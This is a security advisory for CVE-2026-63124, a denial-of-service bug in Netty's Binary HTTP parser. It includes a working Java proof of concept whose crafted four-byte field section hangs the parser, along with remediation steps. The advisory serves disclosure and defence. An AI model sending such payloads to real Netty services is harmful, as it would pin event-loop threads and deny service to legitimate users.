CVE-2026-63124: High severity maven/io.netty.incubator:netty-incubator-codec-bhttp vulnerability

Published Aug 20, 2026
·
Updated

Summary

io.netty.incubator:netty-incubator-codec-bhttp can enter a non-terminating parse loop when a known-length Binary HTTP field section ends exactly after a complete field line. A remote peer that can send Binary HTTP input to a Netty pipeline using BinaryHttpParser / BinaryHttpDecoder can use a tiny malformed request or response to keep the parsing thread busy indefinitely, causing denial of service.

Details

In codec-bhttp/src/main/java/io/netty/incubator/codec/bhttp/BinaryHttpParser.java, readFieldSection(...) tracks the remaining field-section length in fieldSectionLength, then repeatedly calls readFieldLine(...) until the length reaches zero:

- readFieldSection(...) parses the known-length field section and enters while (fieldSectionLength != 0) at BinaryHttpParser.java:619. - Inside the loop, it records readableBytes, calls readFieldLine(...), computes read = readableBytes - in.readableBytes(), asserts read > 0, and subtracts read from fieldSectionLength at BinaryHttpParser.java:620-625. - readFieldLine(...) returns null without consuming bytes when the field line ends exactly at the end of the readable slice because it uses if (sumBytes >= in.readableBytes()) return null after adding the value length (BinaryHttpParser.java:678-681). - With JVM assertions disabled (the production default), assert read > 0 is not active. The parser therefore subtracts zero forever and never returns.

The boundary condition is reachable with a valid known-length field section containing exactly one complete field line and no extra byte after that line. Example field section: length 4, then name length 1, name a, value length 1, value b.

Proof of concept

Safe local verification performed in this repository:

1. Compile the module and classpath:

bash ./mvnw -q -pl codec-bhttp -am compile test-compile ./mvnw -q -pl codec-bhttp dependency:build-classpath -Dmdep.outputFile=/tmp/codec-bhttp-cp.txt printf '%s' "codec-bhttp/target/classes:$(cat /tmp/codec-bhttp-cp.txt)" > /tmp/codec-bhttp-run-cp.txt

2. Compile and run this minimal verifier with production-style assertions disabled:

java import io.netty.buffer.ByteBuf; import io.netty.buffer.Unpooled; import io.netty.incubator.codec.bhttp.BinaryHttpParser; import io.netty.incubator.codec.bhttp.VarIntCodecUtils; import java.nio.charset.StandardCharsets;

public final class VerifyBhttpHang { private static void writeAscii(ByteBuf out, String value) { VarIntCodecUtils.writeVariableLengthInteger(out, value.length()); out.writeCharSequence(value, StandardCharsets.USASCII); } public static void main(String[] args) { ByteBuf buffer = Unpooled.buffer(); VarIntCodecUtils.writeVariableLengthInteger(buffer, 0); // known-length request writeAscii(buffer, "GET"); writeAscii(buffer, "https"); writeAscii(buffer, "example.com"); writeAscii(buffer, "/"); VarIntCodecUtils.writeVariableLengthInteger(buffer, 4); // field section length writeAscii(buffer, "a"); writeAscii(buffer, "b"); new BinaryHttpParser(8192).parse(buffer, false); System.out.println("returned"); } }

Execution result observed locally:

text timeout 3 java -cp "/tmp:$(cat /tmp/codec-bhttp-run-cp.txt)" VerifyBhttpHang exit=124

Exit code 124 from timeout confirms the parser did not return within three seconds. When assertions are enabled by Surefire, the same payload fails at BinaryHttpParser.java:622 (assert read > 0), confirming the non-progress condition.

Impact

A peer that can deliver crafted BHTTP bytes can cause the parser to loop forever. In Netty deployments this can pin the event-loop thread or worker responsible for the channel, reducing or eliminating availability for other channels on the same event loop. Through OHTTP, the same parser is used after successful decryption of protected payloads, so authenticated/decryptable OHTTP peers can trigger the same condition in the inner BHTTP parser.

Suggested remediation

- Treat readFieldLine(...) == null as incomplete input and return null from readFieldSection(...) instead of continuing. - Replace boundary checks in readFieldLine(...) that require an extra byte after a complete field line. A complete field line ending exactly at the known field-section boundary should be accepted. - Add a production runtime guard that throws a controlled decoder exception if a parser loop iteration makes no progress. - Add regression tests with JVM assertions disabled for known-length header and trailer field sections that end exactly at the field-section boundary.

References

- codec-bhttp/src/main/java/io/netty/incubator/codec/bhttp/BinaryHttpParser.java:619-625 - codec-bhttp/src/main/java/io/netty/incubator/codec/bhttp/BinaryHttpParser.java:678-681 - RFC 9292: Binary Representation of HTTP Messages

Affected Software

1 affected componentFixes available
maven/io.netty.incubator:netty-incubator-codec-bhttp<=0.0.22.Final
0.0.23.Final

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade maven/io.netty.incubator:netty-incubator-codec-bhttp to a version that resolves this vulnerability.

    Fixed in 0.0.23.Final
  2. Configuration

    Add a production runtime guard in BinaryHttpParser so that if a parser loop iteration makes no progress (e.g., computed read == 0), it throws a controlled decoder exception instead of continuing indefinitely (BinaryHttpParser.java:620-625; assertion `read > 0` is disabled when JVM assertions are off).

    BinaryHttpParser production runtime guard (controlled decoder exception on non-progress iteration) = implemented/added
  3. Configuration

    Replace the boundary checks in readFieldLine(...) that currently require an extra byte after a complete field line. Specifically, fix the condition where readFieldLine(...) returns null when `sumBytes >= in.readableBytes()` after adding value length (BinaryHttpParser.java:678-681), so that a complete field line that ends exactly at the readable slice boundary is accepted.

    BinaryHttpParser (readFieldLine) boundary check when field line ends exactly at end of readable slice = accept and consume/return complete line instead of returning null
  4. Configuration

    In readFieldSection(...), treat readFieldLine(...) == null as incomplete input and return null from readFieldSection(...) rather than continuing the while loop with unchanged fieldSectionLength (BinaryHttpParser.java:619 and readFieldLine logic at 678-681).

    BinaryHttpParser (readFieldSection) handling of readFieldLine(...) == null = return null from readFieldSection instead of continuing
  5. Compensating control

    Mitigate DoS by limiting the maximum CPU time / iteration count for BinaryHttpParser/BinaryHttpDecoder parsing per channel (e.g., a parse budget or watchdog in the Netty pipeline) so that crafted non-terminating inputs cannot pin an event-loop thread indefinitely.

Event History

Aug 20, 2026
Advisory Published
via GitHub·06:43 PM
Data Sourced
via GitHub·06:43 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which deployments are exposed to this issue?

Deployments are exposed when they accept Binary HTTP input from remote peers through a Netty pipeline using BinaryHttpParser or BinaryHttpDecoder. The affected parsing path is for known-length Binary HTTP field sections.

2

Does exploitation require authentication or user interaction?

No. The supplied severity vector identifies network access, low attack complexity, no privileges required, and no user interaction.

3

What is the practical impact of a successful attack?

A remote peer can send a small malformed Binary HTTP request or response that causes the parsing thread to remain busy indefinitely. This can result in denial of service; the provided vector indicates availability impact without confidentiality or integrity impact.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203